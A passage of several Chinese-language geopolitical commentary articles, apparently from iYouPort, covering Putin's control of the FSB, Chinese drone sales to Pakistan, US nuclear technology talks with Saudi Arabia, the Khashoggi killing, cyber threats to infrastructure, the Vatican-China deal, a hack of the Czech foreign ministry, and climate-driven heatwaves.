这种新模式是经历过苏联时期的人很熟悉的，当时政治局发号施令，并以短暂的方式保持情报部门的工作，而且独立行动的空间很小。反过来，克格勃通过选择性镇压使精英失去平衡（并恐吓民众）——这是普京最珍视的苏联领导人 Yuri Andropov 称之为“改善劳动纪律”的策略。提高纪律性正是普京开始做的事。 州长和官员们因腐败而入狱; 电影导演、科学家和普通民众被投入监狱、被指控帮助乌克兰。**FSB** 在这些打击行动中发挥了至关重要的作用，但从未主动出击。现在，普京通过总统府的统治发号施令，从而取代了政治局。

这种新模式的一个关键部分在于，让所有人都失去平衡，包括执法和秘密服务部门。去年，FSB 对其莫斯科总部及其网络部门 — 信息安

全中心 — 遭到的大清洗感到震惊，该中心的负责人 Andrei Gerasimov 被迫提前退休，两名副头目被起诉 — Sergei Mikhailov 被判入狱，而 Dmitry Pravikov 被判缓刑。去年，FSB 传奇特种部队前任指挥官弗拉基米尔·波多尔斯基（Vladimir Podolsky）被广泛宣传的案件令 FSB 感到非常尴尬，后者曾被指控欺诈并被判处四年徒刑。

有些人很快就明白了这个国家正在回归苏联模式。在 2017 年 12 月对克格勃臭名昭著的前秘密警察部门 Cheka 成立 100 周年的采访中，FSB 主任 Alexander Bortnikov 为斯大林的首席刽子手 Lavrenty Beria 递送了一些温暖的语话，并赞扬了斯大林在大清洗方面的业绩。其他人保持低调。俄罗斯的军事情报机构 GRU 正在减少其公众存在感，最近成立的国民警卫队已经放弃了获得监视权力的野心。

飞扬的盲目

普京的新模式表明，跨部门的竞争和争执几乎没有空间。所有俄罗斯官僚，从部长到 **FSB** 将军到地区官员，现在都面临着同样不确定的未来。这就是该模式的目的 — — 从而能使国家的精英得到很好的控制，因为每个人都害怕做出未经授权的行动。为了实现这种安全，普京甚至准备牺牲长期规划的能力 — 没有人希望可怕的官僚甚至间谍去计划未来。

这点和中国极其相似，并且中国的实施效应已经很明显，您可以在这篇文章中找到这一线索在宣传领域的体现《//Six Fragments Sketch The Dark Side Of Chinese Media Workers//》

然而，这种新模式还有另一个致命的缺陷。普京是从列宁格勒地区部门的一个克格勃低级军官的角度上看到这种已故的苏联模式的。那时他离莫斯科的权力中心太远，不能亲眼看到那个系统的失败，这个系统无法预测、也没能阻止苏联解体。

后苏联模式的关键问题在于，包括克格勃在内的情报服务最终停止了向高层提供重要信息，因为他们担心告诉上司的信息是上司不想听到的。讽刺的是，这正是普京永远不会理解的问题。在莫斯科的抗议期间，他已经看到了他的秘密服务在危机时刻如何地让他失望。但是，凭借他解决这些问题的方法，普京正在为自己开辟更为灾难性的后果。〇

原文

有目的的军售？ - iYouPort

中东和北非地缘政治

中国的军售不只有技术问题

「图」

「图」

中国将向巴基斯坦出售48架先进的武装无人机。这款无人机被称为 Wing Loong II，可用于战斗和监视任务。虽然时间和交易价格的细节尚不清楚，但在印度与俄罗斯就 S-400 导弹防御系统达成协议的背景下，无人机将增强巴基斯坦的能力。

Wing Loong II 是 Wing Loong 1 无人机的改进版。属于中高海拔长航时类，由成都飞机工业（集团）公司制造。无人机主要是为人民解放军空军和出口而开发的。 Wing Loong II 的概念于2015年9月在北京航空博览会上亮相。

Wing Loong II 的长度为11米，翼展为20.5米，可携带炸弹和空对地导弹。可以携带480公斤的弹药，可以飞行大约20个小时，最高时速可达370公里。它还与红外摄像机和传感器集成，以收集监视和目标数据。无人机是从移动地面站远程控制的。

中国是巴基斯坦最大的军事装备供应国。提供48个 Wing Loong II 的交易可能是中国最大的无人机出口订单。

武装无人机加入巴基斯坦军火库肯定会增强其监视和打击能力，特别是在与印度接壤的边境。然而，印度目前没有武装无人机，上周与俄罗斯就 S-400 防空系统签署了价值 54.3 亿美元的协议。该系统可以在 400 公里范围内用于所有类型的空中目标，包括无人机。

⚠ 请注意这篇报告：《中国在巴基斯坦的”一带一路”计划已经走向了军事化》

China will sell 48 advanced armed drones to Pakistan. Called the

Wing Loong II, the drone can be used for both combat and surveillance missions. Although details of when and deal price is not clear, the drones will enhance Pakistan's capabilities in the backdrop of India signing a deal with Russia for the S-400 missile defence system

原文

杀人狂的盛宴 - iYouPort

地缘政治

卖炸弹杀死老百姓已经不够了，现在他们要转让核技术给流氓政权，这是为了什么？怎样才能拦住这场危机？

众议院民主党人指责特朗普政府将可能违反美国法律的高度敏感的核技术卖给沙特。批评人士说，这笔交易可能危及国家安全，同时丰富了美国的亲密盟友—战争狂沙特政权。

据称，沙特阿拉伯正在考虑到2030年建造多达16座核电站，但许多批评者担心该国可以利用这项技术来发展核武器，并在中东引发核军备竞赛。以下是公民权利组织 democracynow 对此做的评论家访谈。

沙特王储穆罕默德·本·萨勒曼曾经明确表示，如果伊朗能获得核武器，沙特也一样要获得。

众议院监督委员会发布了一份临时报告，此前已有多名举报人提出指控几位白宫高级顾问和特朗普盟友试图推动核技术转让，尽管有法律和道德警告也完全没能阻止。争议的核心是**IP3**公司，该公司旨在帮助美国公司在沙特阿拉伯和该地区的其他地方建造核电站，并将其称为“中东马歇尔计划”。

前国家安全顾问迈克尔弗林在进入白宫之前曾担任该公司子公司的顾问， **IP3** 由前里根官员 **Bud McFarlane** 共同创立，他承认参与了**1988**年的伊朗门事件。

众议院的报告还提到了其他一些特朗普高级官员和盟友，据报道他们参与了拟议的沙特协议，其中包括特朗普的女婿兼顾问贾里德库什纳、能源部长里克佩里、和特朗普的亿万富翁朋友汤姆巴拉克，此人曾担任特朗普就职委员会主席。根据国会委员会的报告，白宫可能仍在讨论该计划。

这是一个非常严重的问题。这就是为什么人们应该关心。沙特人一直在为也门的基地组织提供武器，而我们作为一个国家能做的最后一件

事恐怕就是将核机密转移到沙特了，因为这很可能导致扩散并对我们自己的安全构成威胁。

正如你所知道的，这里存在很多利益冲突。领导总统就职委员会以筹集1亿美元以上资金的汤姆巴拉克也在推动此项交易，并在该交易中有经济利益。因此，监督委员会将进行调查，以了解推动本届政府向沙特人出售核机密的经济利益是什么、以及违反了哪些法律，调查必须来自国会，根据“原子能法”进行调查。

即使我们将核技术转让给印度等盟国时—当乔治布什这样做时，也需要多年的过程。它需要国会的协商。因为有些人可以从这些投资中获得数十亿美元的收益。

“中东马歇尔计划”就是在上述 IP3 中冒出来的，指的是，他们可以通过让美国公司向沙特阿拉伯出口核电技术来加强美国和沙特阿拉伯之间的经济和政治关系。汤姆巴拉克非常乐于接受这个想法，因为他正在推动对该地区进行类似的经济拓展。他与那里的领导人有很多联系。

最近，政府一直在采取措施，通过正式程序，与沙特进行谈判，达成共享核电技术的正式协议。如果发生这种情况，国会就不必实际对该条约的审批了，生米熟饭。

你会想到，与沙特阿拉伯相关的所有事—— 谋杀记者 Jamal Khashoggi、国会决定切断对也门战争的军事援助。已经有很多两党人士对共享核电技术的想法持怀疑态度，并呼吁国会更多地了解这些谈判中发生的事，甚至取消这些谈判。而且你肯定也看到了升级，因为双方成员都说，“我们需要暂停，我们需要获得更多信息。“

这是特朗普政府如何看待与沙特人关系的世界观。无论是出售武器还是销售核机密，一切都是关于金钱的。没有道德考虑。最近一周前，汤姆巴拉克就在那里为 **Khashoggi** 谋杀案辩护，并捍卫沙特政权谋杀 **Khashoggi** 的行为。

为什么？只是经济利益而已。为了钱而向沙特出售这些致命的东西，他们不关心我们的安全，也不关心沙特政策的道德。

现在沙特人想要核电。他们正在追求核电。如果美国不帮助他们获得核技术，他们是否会转向俄罗斯或中国？因此，这是一个非常真实的政策问题，安全专家正在努力解决这个问题。

2018年1月，布鲁克菲尔德资产管理公司的子公司 Brookfield Business Partners 宣布计划以46亿美元收购 Westinghouse Electric。Westinghouse Electric 是破产的核服务公司，是IP3拟议的在沙特阿拉伯建造核反应堆计划的一部分，并将受益于中东马歇尔计划。2018年8月，布鲁克菲尔德资产管理公司购买了第五大道666号的合伙股份，这是 Jared Kushner 家族公司所拥有的一栋大楼。

鉴于 Jared Kushner 很快就要前往该地区，这一点尤为有趣。众议院监督委员会的报告中讨论了关于为库什纳和总统之间的谈话准备材料的问题，显然贾里德库什纳与王储 MBS 建立了非常密切的关系，据称是犹如“in his pocket”。

我只想说我们需要透明度。但总统和政府可以做的一件事就是与沙特政权保持一定距离，签署战争权力决议，这将阻止美国支持也门的沙特战争罪行。并且需要了解所有其中的利益关系，关于究竟是什么在推动美国和沙特的紧密关系。

目前有将近1400万的也门人正在面临饥荒，因为沙特人一直在轰炸港口城市，食物和药品不被允许进入。这导致也门恶性通货膨胀。人们没有食物和药物。

更多详见：《两个数字告诉你为什么特朗普不会制裁沙特》和《中东君主制如何雇佣美国战士以杀死其政敌?—这大概就是战争未来的样子》

Trump Admin’s Secretive Talks to Sell Saudi Arabia Nuclear Technology Spark New Fear of Arms Race. Saudi Arabia is considering building as many as 16 nuclear power plants by 2030, but many critics fear the kingdom could use the technology to develop nuclear weapons and trigger a nuclear arms race in the Middle East.

原文

杀死华盛顿邮报记者 Jamal Khashoggi 的杀手在美国接受的培训 - iYouPort

地缘政治

美国培训了杀死美国专栏作家的杀手团队，这说明什么？

「图」

「图」

“ 华盛顿邮报”报道，去年在沙特阿拉伯伊斯坦布尔领事馆杀害 Jamal Khashoggi 的几名沙特特工在美国接受过培训。

专栏作家 David Ignatius 说，美国和沙特的消息来源告诉他，培训发生在美国和沙特阿拉伯之间“作为持续联络的一部分”时段内，目前已经停止了。

杀死 Khashoggi 的杀手团队负责人是 Maher Mutreb，他是沙特情报部门的一名上校，来自一个“富有且受人尊敬的沙特家庭”。据称，Mutreb 在美国接受了培训，并与 Khashoggi 建立了“友好”关系，他俩曾经都在伦敦工作。

Ignatius 说，这个**15**人杀手团队的其他成员据称也接受过美国培训，没有详细说明。

据称这起丑闻促使美国暂停了几项安全计划，包括为利雅得的情报机构实现现代化的广泛努力。Ignatius 表示，美国国务院和国会也为美国承包商试图向富油王国出售技术设置了障碍。

美国官员担心，强大的王储穆罕默德·本·萨勒曼“已经成为萨达姆·侯赛因的沙特版本，这是一个’现代化专制者’，”他补充说。

Ignatius 的文章还揭示了 Khashoggi 在伊斯坦布尔沙特领事馆内的最后几分钟、以及杀人事件背后团队的新细节。

新线索指向王子的前助手沙特·卡塔尼（Saud al-Qahtani），他直到最

近才被怀疑参与了利雅得的秘密行动，作为策划者。由于“强烈怀疑”他是计划谋杀的人之一，土耳其检察官要求在12月对 Qahtani 发出逮捕令，但沙特阿拉伯表示不会引渡他。

沙特阿拉伯国民 Khashoggi 于10月2日进入伊斯坦布尔领事馆，为完成他的婚礼计划所需的文书工作。 Khashoggi 的被逮捕和被杀害的最后时刻显然被土耳其情报部门内部捕获了。

一名沙特消息人士阅读了该录音的抄本，表示该团队最初被派去绑架 Khashoggi，并将他带回沙特阿拉伯进行拘留和讯问。

根据该抄本，Khashoggi 进入领事馆并告诉 Mutreb 他不会和他一起返回沙特阿拉伯。然后，当他被抓住时，他尖叫起来。

该抄本中的一个注释说，Khashoggi 被沙特内政部的法医 Sah Tubaigy 强行注射，显然是一种强效镇静剂。

然后 Khashoggi 喊道：“我无法呼吸。我患有哮喘。不要这样做。”他很快就去世了。

原因可能是镇静剂过量，窒息，但目前尚不清楚。音频抄本指的是嗡嗡声，可能来自用于肢解尸体的电锯，此后不久就被听到的。

在 Khashoggi 失踪后的几天里，沙特阿拉伯否认了解他的下落，但后来说他在领事馆的“冲突事件”之后死去。

最终，在国际压力下，利雅得承认 Khashoggi 被杀，但称其为“流氓行动”。沙特检察官后来因谋杀罪指控了11人，但没有公布他们的名字。

沙特王储穆罕默德·本·萨勒曼仍然拒绝承认他参与了可怕的杀戮。根据 Ignatius 的说法，美国和沙特阿拉伯在军事和情报问题上的战略伙伴关系很可能仍然处于不确定状态，直到王子“提供了一些真正的答案”。但别忘了华盛顿邮报是官媒，这意味着它对美国真实态度的描述不足以准确。

Khashoggi killers received training in the United States—report. Saudi operatives allegedly murdered Jamal Khashoggi in October, sparking an angry response from many lawmakers in the United States. Some of the agents are US-trained, according to a report in The Washington Post.

原文

核武器和网络攻击究竟哪个更可怕？ - iYouPort

地缘政治

现代战争发生在电脑桌上

「图」

「图」

世界各地的人们可能都会担心核紧张局势的加剧，但我认为他们没有想到重大网络攻击可能具有同样的破坏性这一事实，并且黑客已经在奠定基础。

随着去年美国和俄罗斯退出一项重要的核武器协议，并开始开发新的核武器，加上伊朗紧张局势和朝鲜再次试射导弹，对全球文明的威胁程度很高。一些人已经开始担心新的核军备竞赛。

这种威胁是严重的，但是，另一个威胁可能同样严重，而且公众看不到。

到目前为止，大多数著名的黑客事件，即使有外国政府的支持，也只不过是盗窃数据而已。

但不幸的是，有迹象表明，黑客已将恶意软件放置在美国电力和水系统内，该软件正处于等待状态，随时可以被触发。并且，据报道，美国军方也渗透了控制俄罗斯电气系统的计算机。

「图」

「图」

Students and their teacher practice ‘duck and cover’ during the Cold War. AP Photo/Dan Grossi

已经有很多入侵

作为网络安全和信息战的研究人员，我担心网络攻击影响广泛，一个地区的入侵很容易蔓延到其他地区、或许多较小的攻击的结合，可能会造成重大的损失，包括与核武器死亡人数相当的大规模伤亡。

与瞬间杀死几乎所有人的核武器不同，大多数网络攻击所造成的死亡会更缓慢。人们将因缺乏食物、电力或天然气供热，或因交通信号灯系统损坏导致的车祸而丧命。这可能发生在更加广泛的区域，而不是核武器那种定点性。

也许您觉得危言耸听，但是，请看一下近年来发生在世界各地的情况。

2016年初，黑客控制了一家美国饮用水处理厂，并改变了用于净化水的化学混合物。如果进行了更改且未被注意到，则可能导致水中毒、无法使用的供水和缺水。

在2016年和2017年，黑客关闭了乌克兰电网的主要部分。这次攻击比预期的要温和，因为尽管有能力，但在此过程中攻击者并未破坏任何设备。官员们认为它的目的是发送信息。

2018年，不明身份的网络罪犯获得了整个英国电力系统的访问权限；在2019年，类似的入侵可能已经渗透到美国电网。

2017年8月，沙特一家石化厂遭到黑客袭击；仅仅几个月后，黑客就关闭了美国境内油气管道的监控系统。

FBI甚至警告说，黑客正在瞄准核设施。

受损的核设施可能导致放射性物质、化学物质的排放，甚至可能导致反应堆的熔化。

网络攻击可能引起类似于切尔诺贝利事件的灾难。

「图」

「图」

A test of a North Korean missile. KRT via AP Video

共同毁灭原则

这样说并非要淡化核袭击的破坏性和直接影响。

相反，要指出的是，针对网络攻击并不存在那种防止核冲突的国际保护措施。

例如，“共同毁灭原则” 的想法表明，任何国家都不应向另一个有核武器的国家发射核武器：目标国家将作出反应以发射自己的核武器，从而同时摧毁这两个国家。

而网络攻击者能受到的约束更少。一方面，掩盖数字入侵的来源要比隐藏导弹的发射地容易得多。此外，网络战可以从小规模开始，甚至只针对一部手机或笔记本电脑。较大的攻击可能针对企业机构，例如银行或酒店以及政府机构。但是，这些还不足以将冲突升级到核规模。

核武器级网络攻击

对于核级网络攻击可能如何发展，存在三种基本方案。

一国的情报部门窃取、删除或损害另一国的军事数据可能会从适度开始。连续的报复行动可能会扩大袭击的范围，并对平民生命造成严重破坏。

在另一种情况下，一个国家或恐怖组织可能发动大规模破坏性的网络攻击 —— 一次针对多个电力公司、水处理设施或工厂，或将其组合在一起以加剧损害。

不过，也许最令人担忧的可能性是它会错误地发生。在冷战期间，人为错误和机械错误有多次几乎摧毁了整个世界。类似的事很可能发生在数字领域的软件和硬件中。

「图」

「图」

A cyberattack wouldn’t be launched from a nuclear operator’s console, like the one shown here from the decommissioned Oscar Zero site, but rather through cyberspace. A human might not even be required. Jeremy Straub

防灾

正如没有完全防御核攻击的方法一样，对于网络攻击来说最多也只能减少破坏的可能性。

首先是政府、企业和普通人需要保护自己的系统，以防止外部入侵者进入，然后利用它们的连接和访问来进行更深入的渗透。

像公用事业公司、运输公司和使用危险化学品的公司那样的关键系统设施，需要更多的安全保护。

一项分析发现，在美国只有大约五分之一的使用计算机控制工业机械的公司能检测潜在的攻击 —— 并且在他们捕获的40%的攻击中，入侵者已经侵入控制系统一年多了。

另一项调查发现，近四分之三的能源公司在上一年都经历了某种形式的网络入侵。

「图」

「图」

Industrial control rooms like this often contain vulnerable computer systems. nostal6ie/Shutterstock.com

但是，如果没有熟练的网络安全人员来处理这些工作，就无法保护所有这些系统。

比如美国，目前有近四分之一的网络安全职位空缺，空缺职位的数量超过了填补职位空缺的人数。一位招聘人员表示，即使是某些已填补的工作岗位也是由没有资格的人担任的。

解决方案是更多的培训和教育，向人们传授进行网络安全工作所需的技能，并让现有员工了解最新的威胁和防御策略。

如果世界要抵制重大网络攻击 —— 包括那些具有核武器级别的网络攻击，那么每个人、每个公司、每个机构都应自行努力并共同保护人们赖以生存的重要系统。〇

A cyberattack could wreak destruction comparable to a nuclear weapon

原文

梵蒂冈的惨痛失败 - iYouPort

地缘政治

梵蒂冈可能会学习中共政府不遵守协议的强硬方式。正如中国政府要求在中国开展业务的西方公司更多地放弃主权一样，北京可能会试图从梵蒂冈敲诈更多的让步。

梵蒂冈将通过这项协议“购买和平”也是非常可疑的：该政权将继续迫害教会。如果北京政权没有改变，那么基督教会将会有数千个十字架被拆除，特别是在基督教人口众多的地区。

中国天主教勇敢的牧师们已经忍受了数十年的政府迫害和政权分裂教会的努力，而梵蒂冈很可能会忽视他们的遭遇。许多（如果不是大多数的话）中国天主教徒可能会认为这个协议是梵蒂冈的政治背叛，而不是基于信仰的决定。

“鉴于这一令人沮丧的记录，保守和谨慎似乎是梵蒂冈与北京谈判那一天的顺序，而北京最近的党代会上，宗教再次被宣布为共产主义的敌人“。 —天主教作家兼政治分析家 George Weigel 说。

教皇方济各已将中国天主教会的部分控制权移交给中国共产党。他同意授予该党对人事问题的相当大的权力。几十年来，梵蒂冈一直拒绝给中国任命天主教主教的权力，作为关系正常化的条件，而最终允许中共在挑选主教领导天主教教区方面发挥了决定性作用。

尽管中共继续迫害中国的非官方独立的地下天主教会，但梵蒂冈仍然让步了。然而，梵蒂冈可能不会将此视为失败，而是将其视为达到目的的手段。

教会同意将其独立的政治态度折叠到中国政权的共产党机构中，使北京有权任命中共政治上可接受的主教。在授予中国这一权利时，梵蒂冈含蓄地承认了该政权的合法性，接收了中国的罗马天主教的渗透和控制，即中国爱国天主教协会（CPCA）。

教皇弗朗西斯还恢复了梵蒂冈曾经被逐出教会的几位支持政权的主教职位，因为他们心甘情愿地同意遵守中国的指示，同时放弃对罗马教

会的忠诚。最后，罗马教廷的官僚机构也接受了 北京要求减少和重组天主教会在中国的137个教区的要求。

最后梵蒂冈的让步可能会破坏教皇弗朗西斯和一些主教的宗教权威。近70年来，在中共成功接管中国后，天主教徒要么参加政府批准的爱国天主教协会，要么参加与梵蒂冈一致的教会。一些天主教徒甚至在私人住宅中进行弥撒，以避免被政权的代理人监视。

罗马教廷与中国国家宗教事务局最近举行了一系列会谈后，教皇弗朗西斯于12月中旬派出一个代表团，与梵蒂冈“地下教会”的主教和中国政府官员会面。代表团表面上是在中国采取 “实际步骤”来执行罗马教廷与中国达成的临时协议。

实际上，教皇代表团可能是被派往中国以确保协议的最终实施顺利进行。大主教携带了一份由罗马教廷国务卿 Pietro Parolin 和红衣主教 Fernando Filoni 签署的文件。教皇指令指示至少两位著名的天主教“地下教会”主教退休或与中共批准的主教分享其公务。

虽然罗马教廷信件的确切措辞仍然是秘密，但一些梵蒂冈观察员可能反映了教皇决定扭转多年来抵制北京要求的决定，并列举了一些让步的原因。

首先，教会可能需要消除中国天主教徒对梵蒂冈批准和政权批准的主教之间分裂的混淆。梵蒂冈明显灵活立场的另一个可能原因是，妥协对于改善现有天主教信徒的牧养关怀是必要的。然而，梵蒂冈决定不发表这封信，可能表明该政权还要求罗马教廷在与中国建立外交关系正常化之前打破与台湾的关系。

这一假设是基于北京此前与包括巴拿马在内的其他国家建立双边关系的协议的特点。为了在中国开设大使馆而削减与台湾关系的其他国家包括非洲小国圣多美和普林西比、以及萨尔瓦多。 希望与中国建立正式关系的国家首先必须切断与台湾的正式外交关系，这取决于北京所谓的“ 一个中国 ”政策。

梵蒂冈的公共关系官员似乎试图在与北京的协议上做出最好的表现。最近辞职的罗马教廷新闻办公室主任格雷戈里·伯克（Gregory Burke）表示，这项与中共的协议旨在牧养，而不是政治，暗示它将有助于统一中国天主教徒。然而，梵蒂冈似乎在努力消除猜测，但拒绝回答询问该协议是否是建立罗马教廷与中国外交关系的第一步。

98个教区中大约有一半没有梵蒂冈批准的主教。而从北京的反天主教

骚扰运动中可以清楚地看出，共产党领导层决心破坏教会在中国的独立性。骚扰活动包括并不限于拆毁十字架，如果在公共场合看到圣经，有时会被没收。人们经常在私人住宅中聚会，以避免被国家监视。在2018年初，由于整个天主教堂被拆除，促使教区居民进行街头示威。

在2018年10月19日的中国共产党代表大会上，北京发起了一场“中国化”运动，促使所有宗教都符合中国文化和价值观。这种政府策略可能旨在遏制独立天主教会的成长，从而加强共产党对中国宗教的控制。一份报告称，天主教对中国人民的传福音工作停滞不前，与该国新教基督教的迅速扩张形成鲜明对比。这种差异凸显了红衣主教菲洛尼的重要性：菲洛尼负责梵蒂冈的全球传福音运动。

梵蒂冈与中国政权签订的慕尼黑式协议可能带来的唯一好处大概是教皇弗朗西斯访问中国的正式邀请。然而，这种特权可能会被天主教在中国未来遭受的潜在危害所抵消。

The Vatican Surrenders To China: It is clear from Beijing’s anti-Catholic harassment campaign that the Communist Party leadership is determined to co-opt, if not destroy, the independence of the Church in China

原文

欧盟国家遭受俄罗斯和中国的网络攻击 - iYouPort

地缘政治

调查显示，对捷克外交部的袭击规模比公开的消息中所描述的更大、持续时间更长，但直到现在仍然处于极度保密状态……为什么呢？

「图」

「图」

那天，他轻装上阵，飞往爱沙尼亚首都塔林。其他乘客不可能知道，他的机舱行李中就藏着入侵欧盟和北约国家外国办事处服务器的秘密，这场攻击窃取了捷克外交官的数百封私人电子邮件，包括外交部长本人的。

捷克特勤局官员前往爱沙尼亚，配备从外交部（MFA）服务器下载的档案，以寻求帮助。2007 年，一个波罗的海小国面临着俄罗斯对其政府机构、银行和媒体的第一次大规模网络攻击，俄罗斯被认为在该领域拥有出色的专业知识。与塔林和其他欧盟国家首都的合作最终帮助布拉格揭露了攻击者的身份。但事实证明这个故事比预期的那般更复杂。

转移文件后，捷克特工离开了塔林。当他第二次回来时，惊喜就在那等着他。爱沙尼亚的帮助使捷克人能够更好地识别骇客；有证据表明他们来自俄罗斯，显然有些人与军事情报部门（GRU）有联系。但事实证明，中国骇客才是第一个入侵者，一个政府消息来源和两个熟悉调查的消息来源向 Re：Baltica 确认了这件事。

消息来源被要求保持匿名，因为有关调查的一些信息被捷克法律视为“机密”，并且仍在继续。

事实上，调查是如此的机密，甚至都没有披露捷克人前往爱沙尼亚的日期。爱沙尼亚反情报部门 KAPO 拒绝对此问题发表评论。

俄罗斯和中国并没有以彼此协调的方式行事。然而，正如捷克调查所确定的那样，他们彼此了解、没有互相攻击、也没有监视彼此的非法活动，并容忍对方的存在。当时的攻击是针对几个欧盟国家的，一个与国家情报部门有关的消息来源对 Re：Baltica 说。

“俄罗斯人在网络空间的行为与其他攻击者的行为不同，其中一个可能性大概是与俄罗斯期望将网络间谍的成果转化为虚假宣传活动有关；中国很有可能从全世界 更多地获取 敏感的政治、安全、技术或商业信息，并且正在悄悄地传递与其公司、制造商或军方相关的信息。但是，中国一直在很低调地做这件事，相对而言，并且一直把这些信息保留在自己身边，” 欧洲对外关系委员会欧洲计划负责人 Nicu Popescu 最近写道 ，“可以肯定的是，俄罗斯也囤积了大量的信息，但同时与中国不同，俄罗斯还试图大规模发布信息，以此塑造北美或欧洲的政治。”

情报分享

直到最近，欧洲和美国一直在私下分享俄罗斯 GRU 骇客活动的证据，在敏感材料被盗时互相通知。这些攻击从来没有被公开讨论过，因为一旦公开就会揭示他们知道或者能够找到的骇客运作方式有多少 – 准确说是很少。

随着乌克兰军事冲突和俄罗斯被指控影响2016年美国总统选举后，俄罗斯和西方之间的紧张局势升级，欧盟和北约国家开始宣传克里姆林宫据称对盟国进行的网络攻击的证据。

在 2018 年 10 月初，美国和荷兰当局公布了 GRU 骇客如何试图攻破国际组织网络的详细说明，该网络一直在帮助英国寻找前俄罗斯间谍 Sergei Skripal 和他的女儿被化学品攻击的肇事者。

在兴奋剂丑闻导致俄罗斯队被禁止参加奥运会之后，美国公布了针对 GRU 骇客的指控，这些骇客入侵并公布了来自 30 个国家的近 250 名运动员的医疗记录。

英国 外交部列出了 应该由 GRU 负责的六起袭击事件。英国外交大臣 Jeremy Hunt 说：“我们的信息是明确的：与我们的盟友一起，我们将揭露并回应 GRU 破坏国际稳定的企图。”

「图」

「图」

然而，攻击捷克外交部（MFA）这件事并不在列表上，且尚未恢复。捷克报纸 Respect 在欧盟合作伙伴的支持下进行了一项调查，并揭示了这个故事的未知细节，包括实际发生的攻击比报道中所描述的时间更长范围更广的事实。

攻击始于 **2014** 年，而非 **2016** 年

直到今天，仍然不清楚捷克共和国是如何发现这场攻击的，但很长一段时间以来没有人意识到这一点。这场攻击是在 2017 年冬天才被首次公开宣布的，当时的外交部长 LubomírZaorálek 表示，“骇客攻击的时间不长、只有少数电子邮件地址受到影响”。数据下载最频繁的时段发生在网络流量处于峰值的早晨，人们到达工作地点并且下载看起来不那么可疑。

现在，Respect / Re：Baltica 发现事实上攻击事件始于 2014 年，而非 2016 年。在公开宣布之后，该案在某种程度上已经脱离了幕后状态，从那时起，在国家安全委员会（NSC）- 国家最高安全机构被多次讨论过。

由总理领导的 NSC 已经逐步开始听取安全专家的意见，他们调查了令攻击者在 2014 年至 2016 年期间获得了大量外交官之间发送的电子邮件的漏洞。所有拥有 mzv.cz 域名的 MFA 员工的收件箱都被入侵了。三名熟悉调查的消息人士告诉 Re：Baltica。

捷克外交官担心被盗的电子邮件可能包含有关其私人生活的详细信息 – 恋人、他们的过去经历、酗酒以及他们或他们同事的其他恶习 – 这会使人们更容易受到勒索。

其他内容则描述了与欧盟和北约伙伴的敏感谈判立场、与信息源的会见和动机，信息源是其他国家的居民并与大使馆或与对国外特定合同和招标感兴趣的捷克公司联系（Baltica 无法查阅实际的电子邮件）。

迄今为止，外交部的通讯系统一直处于瘫痪中。“这是一个严重的问题。很多电子邮件都消失了，其中应该有很多重要的信息。这是对国家安全的威胁，“ 海盗党的 MPJanLipavský 说。

外交部并不是捷克国家机构中唯一的受害者。两年前，俄罗斯骇客获得了在马里执行任务的捷克士兵的电子邮件。一年前，骇客试图访问捷克军队选定的团体官员之间的通信， 据称没有成功。

“这种事在今天已经很常见 – 网络钓鱼攻击在我们大多数盟友的外交

部都很常见。英国内政部长 JanHamáček 表示，对其他国家的攻击的猜疑已在外国媒体上引起广泛的争论。

他没有证实也没有否认俄罗斯和中国是捷克袭击事件背后的肇事者，只是说有关具体事件的细节“可能会使安全措施复杂化”。他声称用于交换机密信息的网络在骇客行为中没有被破坏，但这事无法验证。

与此同时，捷克外交部门已经尝试过，但未能通过抑制病毒和造成的损害来清理它的 IT 系统。国家安全委员会讨论了完全重建该系统的选择，其成本可能高达数亿美元，约合数十亿捷克克朗。

与此同时，八个欧盟成员国 – 波罗的海、丹麦、芬兰、荷兰、罗马尼亚和英国 – 正在推动采取法律框架，以便在骇客行为变得不可遏制之前对其采取行动。■

原文

气候变化引发政治动荡 ？— — 热浪和干旱与古代帝王命运之间的联系为现代提出了警告 - iYouPort

地缘政治

这真的不是神的力量，而是人

「图」

「图」

你热吗？

MIT 的两名研究人员在《Nature Communications》期刊上发表论文指出，由于气候变化和灌溉，中国北方平原未来将面临难以忍受的热浪。过去五十年，中国热浪的强度和频率显著增加。

21 世纪初中国遭遇了多次严重的热浪。从 1951–2006 年，中国的表面平均温度增加了 1.35 °C，每十年增加 0.24 °C，高于全球 1956–2005 年期间的每十年增加 0.13 °C。 2003 年 7 月到 8 月，华南遭遇了 20–50 天的极端高温天气。长江以南的许多地方每天的最高温度超过 38 °C。2006 年和 2013 年的夏天中国许多地方又遭遇了两次极端高温天气。如果室外温度高于 35 °C，健康的人也难以在外面呆上 6 小时。

将 35 °C 设为生理阈值，研究人员以区域气候模型估计，气候变化将加大灌溉（灌溉会增加长波净辐射）的人为影响，增加热浪的风险。如果一切如常，华北平原可能将会遭遇致命热浪（即高于 **35 °C** 的气温），限制该地区的可居住性。华北平原是中国人口最密集的区域之一，而中国同时也是最大的温室气体排放国。

7 月 24 日是加州历史上最炎热的一天之一。死亡谷的气温 127°F，只比历史最高气温低华氏 2°；棕榈泉气温 122°F，比历史最高气温低华氏 1°；因皮里尔（Imperial）最高气温 121°F，仅次于 1995 年 7

月创下的 124°F。如果不是来自加利福尼亚湾的云流，因皮里尔的气温可能还会更高。当地时间下午 3:53 pm，当气温仍然高达 119°F (48.3°C)时，雨开始下起来了。这是有记录以来最热的雨。由于湿度只有 11–15%，绝大多数雨都蒸发了，没能有效灌溉。一名正在室外的人称，下雨反而让呼吸变得更困难了……

在过去两个月里，全球大部分地区被热浪席卷。致命的野火在美国和希腊的部分地区肆虐; 日本宣布该国面对的热浪是一场自然灾害; 英国严重的干旱引发了软管禁令，导致农民因缺乏原材料而不得不杀掉自家的牛。

「图」

「图」

Drone aerials show California wildfire devastation from above

随着地球的变暖，全球热浪和相关的干旱将变得越来越普遍。人类历史提供了许多关于与天气有关的冲击可能对社会和政治产生影响的警示故事。

其中一个教训就是干旱如何拉垮了 1500 年前的罗马帝国。据发表在“经济学快报”上的一篇新论文，布罗克大学的 Cornelius Christian 和圣弗朗西斯泽维尔大学的 Liam Elbourne 两位研究人士证实了降雨模式与罗马皇帝权力持续时间之间存在着强烈的联系。

学术界假设降水量减少会降低农作物产量，导致粮食短缺并最终导致了驻扎在帝国边境的士兵的严重饥饿。其结果就是，部队更有可能进行叛乱并暗杀他们的皇帝。

